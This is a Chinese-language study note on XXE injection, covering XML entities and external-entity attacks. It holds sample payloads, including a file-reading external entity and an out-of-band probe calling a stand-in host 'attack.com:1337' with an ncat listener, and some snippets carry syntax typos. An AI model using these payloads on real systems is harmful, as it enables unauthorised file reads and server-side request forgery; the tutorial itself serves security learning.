XXE注入學習


那天看了一個視頻覺得講的很好,但是看了兩遍都只有一個大概的印象,對於其中的細節什么的還是不怎么能描述出來,所以將視頻中的內容記錄下來,方便細細琢磨

視頻鏈接:https://www.bilibili.com/video/BV1at41177SA

一、xml介紹

XML(可擴展標記語言)與HTML類似,但HTML與數據表示有關,而XML更多與數據傳輸、存儲有關。

先來看看xml文檔格式:

<?xml version="1.0"?>  //元數據,版本為xml解析器解析的版本
<Person>
<Name>John</Name>
<Age>20</Age>
</Person>

<Person></Person>為根元素,有且僅有一個

需要注意的是,標簽對大小寫敏感,前后標簽必須一致,如<read></Read>則是錯誤的,必須<read></read>

 

< ,> ," ,' , &等符號不被允許直接出現在XML文檔中,因為xml解析器會搞不清這些符號是數據還是標簽

<Age>20 < > & " '</Age>   ×

 

那么這個時候就需要Entity來解決這個問題 ↓ 

 

二、Entity實體介紹

Entity(可用實體):一種簡單的存儲單元,好比xml的變量,可以對它進行賦值,並在xml文檔的不同地方對它進行引用。

實體(Entity)在xml文檔中的文檔類型定義部分(DTD)被單獨定義描述。

 

舉個栗子:

1 <?xml version="1.0" ?>
2 <!DOCTYPE Person [
3     <! ENTITY name "John">   //定義了一個存儲單元,這個簡單Entity名稱就為name
4 ]>
5 <Person>
6     <Name>&name;</Name>  
7     <Age>20</Age>
8 </Person>

2~4行代碼就是通過DTD方式創建了一個ENTITY告知xml解析器這是一個DTD定義類型

 

Entity分為三類

①一般實體General(通用型實體)

<?xml name "pwn"?>
...
<hello>&pwn;</hello>

②參數實體Parameter(必須預定在單獨的DTD區域)

<!ENTITY %outer "<! ENTITY inner 'J'>">

③預定義實體Predefined(某些特殊符號的一組預定義數值集)

<hello>&#x3c;</hello>  // <的十六進制表示

 

三、外部實體(Xml External Entity)

實體(Entity)有哪些用途呢?

存儲指定數值;從本地文件、從遠程網絡中調用相關數據,作為后續實體引用

 

那么這就會出現問題

 

我們先來看看外部實體的一個實例,來幫助我們了解其工作機制

<?xml version="1.0" ?>
<!DOCTYPE XXE[
    <! ENTITY subscribe SYSTEM "secret.txt">
]>
<pwn>&subscribe;</pwn>

SYSTEM 關鍵字讓xml解析器知道該實體是一個外部實體,需要xml解析器去獲取  “ secret.txt ”  其中的外部資源,並把它存儲到內部實體 subscribe 中

<pwn>&subscribe;</pwn> 內部實體在后續<pwn>標簽中會被調用

secret.txt其中的內容才是內部實體subscibe的賦值

 

STSYEM  “URI”   這里支持有效的URI(文件、http、ftp和其他協議形式內容)

 

四、外部實體注入 (XXE)

分類:

帶內數據 in-band  (就是我們上面舉的外部實體的那個栗子)

基於錯誤 error-based  (有點像盲注,解析結果沒有其他,只有一堆報錯)

帶外數據 out-of-band

 

OOB XXE(盲注XXE)

當我們遇到這種情況時,一個web應用程序,它可以解析XML輸入,但是卻無任何輸出響應,必須用帶外請求把目標提取出來,為了測試這種盲注XXE,我們可以用非文件路徑的外部實體來請求這里的web應用。

例如,在存在xxe漏洞的地方,輸入以下代碼

<?xml version="1.0" ?>
<!DOCTYPE XXE[
<!ENTITY subscrible SYSTEM "http://attack.com:1337">
]>
<pwn>&subscrible;</pwn>

在攻擊機attack.com主機上監聽1337端口

ncat -lp 1337

可以看見有反應

 

XXE ------------------>  server  ---------------------->attack.com

受害端有效解析了xml,正嘗試獲取我們在attack.com上的資源作為實體引用,這樣我們就能以受害端的身份發起請求了,這就是SSRF

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM